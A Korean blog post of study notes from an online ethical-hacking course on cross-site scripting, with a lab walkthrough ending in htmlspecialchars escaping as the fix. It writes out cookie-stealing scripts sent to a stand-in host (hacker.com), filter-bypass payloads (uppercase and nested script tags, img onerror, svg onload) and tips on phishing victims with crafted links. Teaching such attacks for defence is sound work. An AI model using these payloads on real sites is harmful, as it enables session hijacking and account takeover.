본 포스트는 https://www.udemy.com/의 강좌 화이트헤커가 되기 위한 8가지 웹 해킹 기술 강좌를 바탕으로 작성했습니다.
XSS는 자바스크립트와 밀접한 관련이 있기 때문에 자바스크립트를 먼저 알아 보자
자바스크립트란?
- 웹 애플리케이션에 사용되는 언어이다. 웹 페이지 상에서 자바스크립트로 마우스를 메뉴바로 가져가면 메뉴의 색깔이 바뀌는 것을 구현한다.
- <script> 스크립트 코드 </script>와 같이 구현한다. 웹 브라우저가 웹 페이지를 읽다라가 스크립트 테그를 읽으면 태그 안에 스크릡트 코드를 읽는다.
- 공격시 사용하는 자바스크립트 예제
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
쿠키를 빼올 때 상용하는 스크립트이다. 쿠키에는 세션 정보가 포함되어 있는데, document.cookie로 읽을 수 있고, document.location으로 외부로 보낼 수 있다.
<script src=http://hacker.com/bad.js></script>
파일 인클루전 공격과 비슷하게 외부의 자바스크립트를 사용할 수 있따. 외부 해커 사이트에 올려둔 악성 js를 가져올 수 있다.
XSS공격이란?
- 크로스사이트스크립팅 공격은 자바 스크립트 같은 코드를 취약한 웹 에플리케이션을 이용하는 다른 사용자에게 전달하여 클라이언트 웹 브라우저를 공격하는 기법이다.
- 안녕이라고 입력하면 안녕이라고 출력하는 웹 에플리케이션이 있다고 하자. 아무 대응장치가 없으면 스크립트 코드와 함께 스크립트 코드를 입력하면 그대로 출력이된다. 이 스크립트 코드를 웹 브라우저가 그대로 실행한다. 이렇게 스트립트 코드를 삽입하여 다른 사용자 브라우저에서 실행되게 하는것을 크로스사이트 스크립팅 공격이라고 한다.
해커는 어떤 사용자의 세션 쿠키를 알아내고 이것으로 웹에 접속하여 마치 그 사용자가 로그인한 것으로 접근할 수있다. 관리자 권한의 세션쿠키를 가져오면 관리자 권한으로 실행할 수 있다.
XSS공격 시나리오를 크게 2개로 구분할 수 있다.
[1]Reflected XSS공격
스크립트를 반사하기 때문에 붙여진 이름이다. 해커가 CSRF공격처럼 이메일로 사용자에게 메일을 보내 피싱한다. 세션 코드를 빼오는 스크립트 코드를 보낸다. 앵무새같은 웹 애플리케이션이 스크립트 코드를 그대로 반사해서 스크립트 코드를 보낸다. 그러면 웹 애플리케이션은 스크립트 코드를 반사시켜 그대로 되돌려준다. 그러면 웹 브라우저는 그대로 스크립트 코드를 실행하고 해커는 세션 쿠키를 배달해 준다. 그러면 해커는 해당 사용자의 권한으로 웹사이트에 접속할 수 있다.
[2]Stored XSS공격
스크립트 코드가 바로 반사되는 것이 아니라 한번 저장되었다가 실행된다. 해커가 피싱을 하는 것이 아닌 서버의 방명록이나 게시판에 남긴다. 스크립트 남기는 것이 허용이 되면 스크립트 코드를 남길 수 있다. 이 후 사용자가 해커가 남긴 글을 읽는다. 그러면 글에 저장된 스크립트 코드가 사용자에게 전달되고 실행된다. 이 사용자의 세션 쿠키가 해커에게 전달이 되는 것이다.
- 클라이언트 쪽의 웹브라우저를 공격하는 기법. 어떤 웹 에플리케이션이 사용자가 입력받은 것을 그대로 웹페이지 표시되면 위험
- 아무런 대응장치가 없으면 스크립트 코드를 입력하면 스크립트가 그대로 출력된다.
XSS 공격 실습
Reflected XSS
입력한 값이 리플랙티드 된 것이다.
스크립트 코드가 먹히는지 보기 위해서 <script>로 넣으면 된다.
입력 창에다가 <script>alert(1)</script> 입력한다.
1이 입력된 창이 뜬다.크로스사이트 취약점이 있으면 스크립트 코드가 실행된다.
스크립트가 리턴되어 실행되는 것을 XSS 공격이라고 한다.
<script>alert(document.cookie)</script>를 입력하면 쿠키의 값이 출력된다.
커멘드 창에서 tail -f /opt/lampp/logs/access_log (tail에 -f옵션을 주면 이후에 발생하는 로그가 뒤에 출력이 된다.) 입력
leafpad에서 <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script> 를 입력한다.
document.location을 사용하면 뒤에 있는 주소로 리다이렉트를 시켜준다. document.cookie값을 찍어준다.
이를 사이트 입력창에다 넣으면 커멘드 창에
결과값이 찍힌다.
빼낸 쿠키를 해당 사용자의 권한으로 웹 사이트에 접속할 수 있다. 여기서 리다이렉트가 직접 되어서 사용자가 눈치 챘음을 알 수 있지만 실제 해킹에서는 아무 일도 없는 것처럼 만들 수 있다. 이는 자바스크립트로 만들 수 있다.
의문이 들 수 있다. 어떤 멍청한 사용자가 스크립트 코드를 직접 입력할까? 아무도 그렇게 입력하지 않을 것이다. 피싱을 통해서 사용자가 이를 모르게 입력하도록 만들어야 한다.
주소를 주의 깊게 보면 alice를 입력하면 주소창에 name=alice가 된다는 것을 알 수 있다.
해당 주소를 복사해서 공격하는 사용자에게 복사한 주소를 보낸다. name파라미터에 alice대신에 스크립트 파라미터를 입력한다.
Gmail을 이용할 때 ?나 =문자는 URL인코딩이라는 기법을 이용해서 인코딩을 해주어야 한다. URL인코딩이라는 것은 어떤 문자를 아스키값으로 변환하고 %를 붙여서 웹서버로 전송하고 웹서버는 이것을 디코딩해서 원래 문자로 인식하는 방법이다.
? 를 %3F로 바꾼다.
= 를 %2B 로 바꾼다.
스토어드 XSS
스크립트 코드가 서버에 저장된 후에 나중에 실행된다. 해커가 서버에 직접 스크립트 코드를 바로 삽입한다. 공격에 사용되는 스크립트 코드는 똑같다.
그런데 글자수 제한으로 복사했을 때 제한이 걸린다. 이는 입력창 -> 오른쪽 마우스 - > Inspect Element -> html의 textarea 태그의 maxlength의 max값을 수정하면 된다.
이렇게 글을 올리면 방명록에 접속하면 바로 이전 실습과 같은 결과가 나온다. 해커는 한번의 공격으로 다수의 사용자에게 공격할 수 있다.
Medium Level - XSS (Reflected)
<script>alert(1)</script> 해도 alert(1)이 출력이 된다. 스트립트가 string replace로 바꾸기 때문이다.. 다만 소문자만 처리하기 때문에 <SCRIPT>로 입력하면 가능하다. <scr<script>ipt>
High Level
각 문자 사이에 시도되는 우회 공격도 방어하고 있다. 이런 경우 스크립트 태그 공격을 잘 막기 때문에 스크립트 태그 공격은 불가능하다.
그러나 크로스 사이트 스킙트 공격은 못하지만 html공격은 가능하다.
<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")> 이렇게 악성 페이지로 간다.
SVG태그를 이용
<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>를 입력하고 실행하면 hacked.php로 리다이렉트 된다.
특정 태그를 막는 방법으로만은 불완전한 대응방법이 될 수 있다.
공격 대응 - Impossible단계
공격 스크립트를 입력하면 입력한 스크립트가 그대로 나온다.
htmlspecialchars를 입력하여 특별한 문자를 변경한다. 기존의 특별한 기능은 수행하지 않는다. < 이런식으로 변경된다. 페이지 상에서 특수문자로 실행되지만 스크립트가 실행되지 않게 하는 원리이다.
특수문자를 이런 식으로 변환한다.
'Computer Science > Security' 카테고리의 다른 글
리눅스(칼리 리눅스)에 WebGoat 8 설치하는 방법 (0) | 2018.07.18 |
---|---|
칼리 리눅스(Kali linux) 윈도우10 스토어에서 설치하고 원격 접속하기 (15) | 2018.06.23 |
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]SQL 인젝션 공격(SQL injection Attack) (0) | 2017.08.23 |
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]캡차 공격(CAPTCHA Attack) (0) | 2017.08.23 |
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]파일 업로드 공격(File Upload Attack) (0) | 2017.08.23 |